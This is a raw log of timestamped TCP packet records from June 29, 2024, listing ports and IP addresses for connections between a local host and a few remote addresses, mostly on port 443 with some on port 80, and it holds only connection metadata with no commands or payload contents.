Jun 29, 2024 16:30:10.744674921 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.744720936 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.744740009 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.744766951 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.744920015 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.745428085 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.745444059 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.745501041 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.745520115 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.745544910 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.745572090 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.746836901 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.746860027 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.746906042 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.746937037 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.746964931 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.746994019 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.747020006 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.747034073 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.747092962 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.747107983 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.747261047 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.834556103 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.834583044 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.834675074 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.834692955 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.834728956 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.834794044 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.834810019 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.834846973 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.834852934 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.834877014 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.834891081 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.835042953 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835058928 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835105896 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.835109949 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835123062 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835143089 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835163116 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.835170031 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835181952 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.835225105 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.835424900 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835439920 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835475922 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.835481882 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835513115 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.835525036 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.835556030 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835571051 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835608959 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.835614920 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.835947037 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.835995913 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.836013079 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.836060047 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.836070061 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.836081028 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.836101055 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.836129904 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.836136103 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.836158991 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.836185932 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.920588017 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.920608997 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.920665979 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.920687914 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.920720100 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.920722961 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.920731068 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.920743942 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.920763016 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.920783043 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.920789003 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.920811892 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.920830011 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.921284914 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.921298981 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.921366930 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.921374083 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.921494961 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.921513081 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.921552896 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.921560049 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.921581984 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.921844959 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.922537088 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.922549963 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.922615051 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.922620058 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.922658920 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.923763037 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.923778057 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.923830986 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.923837900 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.923898935 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.924559116 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.924575090 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.924628973 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.924634933 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.924663067 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.924849033 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.924866915 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.924915075 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:10.924921036 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:10.924962997 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.009663105 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.009684086 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.009733915 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.009743929 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.009778976 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.010488033 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.010502100 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.010577917 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.010582924 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.010745049 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.010792971 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.010808945 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.010850906 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.010857105 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.010894060 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.010911942 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.010953903 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.010960102 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.010983944 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.010996103 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.011363029 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.011377096 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.011425972 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.011430979 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.011457920 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.011475086 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.012667894 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.012687922 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.012753963 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.012759924 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.012799978 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.013556957 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.013571978 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.013617992 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.013624907 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.013674021 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.013726950 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.013741970 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.013780117 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:11.013787031 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:11.016330004 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.092554092 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.092569113 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.092617035 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.092641115 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.092641115 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.092730045 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.092763901 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.092813969 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.092813969 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.092837095 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.092864037 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.092892885 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.092912912 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.092938900 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.093106031 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093131065 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093184948 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.093205929 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093230009 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.093420029 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093439102 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093473911 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.093487024 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093528032 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093537092 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.093544960 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093581915 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.093595028 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093621969 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.093894005 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093914986 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093956947 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.093971014 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.093997002 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.094068050 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094083071 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094124079 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.094145060 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094167948 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.094202042 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094223976 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094260931 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.094275951 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094300032 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094305038 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.094319105 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094358921 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.094372034 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094397068 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.094785929 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094809055 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094845057 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.094846010 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094858885 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094882965 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.094916105 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.094928026 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094949961 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:12.094993114 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:12.095253944 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:14.103950977 CEST	49710	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:14.109059095 CEST	80	49710	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:14.109149933 CEST	49710	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:14.109694004 CEST	49710	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:14.133390903 CEST	80	49710	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:14.609958887 CEST	80	49710	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:14.736443996 CEST	49710	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:15.118944883 CEST	49710	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:21.862312078 CEST	62705	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:21.862370014 CEST	443	62705	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:21.862437010 CEST	62705	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:21.862777948 CEST	62705	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:21.862787962 CEST	443	62705	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:22.328944921 CEST	443	62705	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:22.335445881 CEST	62705	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:22.335480928 CEST	443	62705	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:22.431966066 CEST	443	62705	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:22.432070971 CEST	443	62705	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:22.432284117 CEST	62705	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:22.432527065 CEST	62705	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:24.417392969 CEST	62706	443	192.168.2.8	128.116.123.3
Jun 29, 2024 16:30:24.417462111 CEST	443	62706	128.116.123.3	192.168.2.8
Jun 29, 2024 16:30:24.417526960 CEST	62706	443	192.168.2.8	128.116.123.3
Jun 29, 2024 16:30:24.430634975 CEST	62706	443	192.168.2.8	128.116.123.3
Jun 29, 2024 16:30:24.430685997 CEST	443	62706	128.116.123.3	192.168.2.8
Jun 29, 2024 16:30:25.167965889 CEST	443	62706	128.116.123.3	192.168.2.8
Jun 29, 2024 16:30:25.168054104 CEST	62706	443	192.168.2.8	128.116.123.3
Jun 29, 2024 16:30:25.174793959 CEST	62706	443	192.168.2.8	128.116.123.3
Jun 29, 2024 16:30:25.174808979 CEST	443	62706	128.116.123.3	192.168.2.8
Jun 29, 2024 16:30:25.175029039 CEST	443	62706	128.116.123.3	192.168.2.8
Jun 29, 2024 16:30:25.229444981 CEST	62706	443	192.168.2.8	128.116.123.3
Jun 29, 2024 16:30:25.272495985 CEST	443	62706	128.116.123.3	192.168.2.8
Jun 29, 2024 16:30:25.642406940 CEST	443	62706	128.116.123.3	192.168.2.8
Jun 29, 2024 16:30:25.642498016 CEST	443	62706	128.116.123.3	192.168.2.8
Jun 29, 2024 16:30:25.642554998 CEST	62706	443	192.168.2.8	128.116.123.3
Jun 29, 2024 16:30:25.648260117 CEST	62706	443	192.168.2.8	128.116.123.3
Jun 29, 2024 16:30:25.771187067 CEST	62707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:25.771290064 CEST	443	62707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:25.771365881 CEST	62707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:25.771796942 CEST	62707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:25.771831989 CEST	443	62707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:26.249414921 CEST	443	62707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:26.249488115 CEST	62707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:26.255783081 CEST	62707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:26.255798101 CEST	443	62707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:26.256052017 CEST	443	62707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:26.256999016 CEST	62707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:26.304490089 CEST	443	62707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:26.363286972 CEST	443	62707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:26.363420963 CEST	443	62707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:26.365226984 CEST	62707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:26.366178989 CEST	62707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:27.275810957 CEST	62710	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:27.275911093 CEST	443	62710	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:27.276007891 CEST	62710	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:27.278800011 CEST	62710	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:27.278840065 CEST	443	62710	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:28.693684101 CEST	443	62710	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:28.693770885 CEST	62710	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:28.694103003 CEST	62710	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:28.694134951 CEST	443	62710	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:28.694315910 CEST	443	62710	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:28.694370985 CEST	62710	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:28.694417953 CEST	62710	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:28.818159103 CEST	62713	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:28.818265915 CEST	443	62713	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:28.818375111 CEST	62713	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:28.823635101 CEST	62713	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:28.823698997 CEST	443	62713	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:29.294594049 CEST	443	62713	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:29.294687986 CEST	62713	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:29.585403919 CEST	62713	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:29.585438967 CEST	443	62713	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:29.585665941 CEST	62713	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:29.585691929 CEST	443	62713	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:29.585731030 CEST	62713	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:29.708553076 CEST	62716	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:29.708616018 CEST	443	62716	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:29.708836079 CEST	62716	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:29.711508989 CEST	62716	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:29.711523056 CEST	443	62716	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:30.187041998 CEST	443	62716	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:30.187114954 CEST	62716	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:36.922188044 CEST	62716	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:36.922213078 CEST	443	62716	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:36.922339916 CEST	62716	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:36.922446012 CEST	443	62716	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:36.922523022 CEST	62716	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:41.453881979 CEST	54127	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:41.458784103 CEST	80	54127	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:41.459815979 CEST	54127	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:41.460068941 CEST	54127	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:41.465783119 CEST	80	54127	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:41.940057039 CEST	80	54127	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:41.982337952 CEST	54127	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:42.090817928 CEST	54127	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:43.440939903 CEST	54128	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:43.445858002 CEST	80	54128	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:43.445936918 CEST	54128	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:43.446129084 CEST	54128	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:43.450820923 CEST	80	54128	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:43.937707901 CEST	80	54128	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:44.109328985 CEST	54128	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:45.755176067 CEST	54129	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:45.760360003 CEST	80	54129	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:45.760432959 CEST	54129	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:45.760694981 CEST	54129	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:45.765993118 CEST	80	54129	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:46.258527040 CEST	80	54129	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:46.345889091 CEST	54129	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:46.429678917 CEST	54129	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:48.434228897 CEST	54130	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:48.440608025 CEST	80	54130	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:48.440680981 CEST	54130	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:48.441154003 CEST	54130	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:48.447691917 CEST	80	54130	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:48.939805984 CEST	80	54130	208.95.112.1	192.168.2.8
Jun 29, 2024 16:30:49.049129963 CEST	54130	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:49.184232950 CEST	54130	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:06.807362080 CEST	54131	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:06.812448978 CEST	80	54131	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:06.812504053 CEST	54131	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:06.812715054 CEST	54131	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:31:06.817588091 CEST	80	54131	208.95.112.1	192.168.2.8
Jun 29, 2024 16:31:07.308226109 CEST	80	54131	208.95.112.1	192.168.2.8
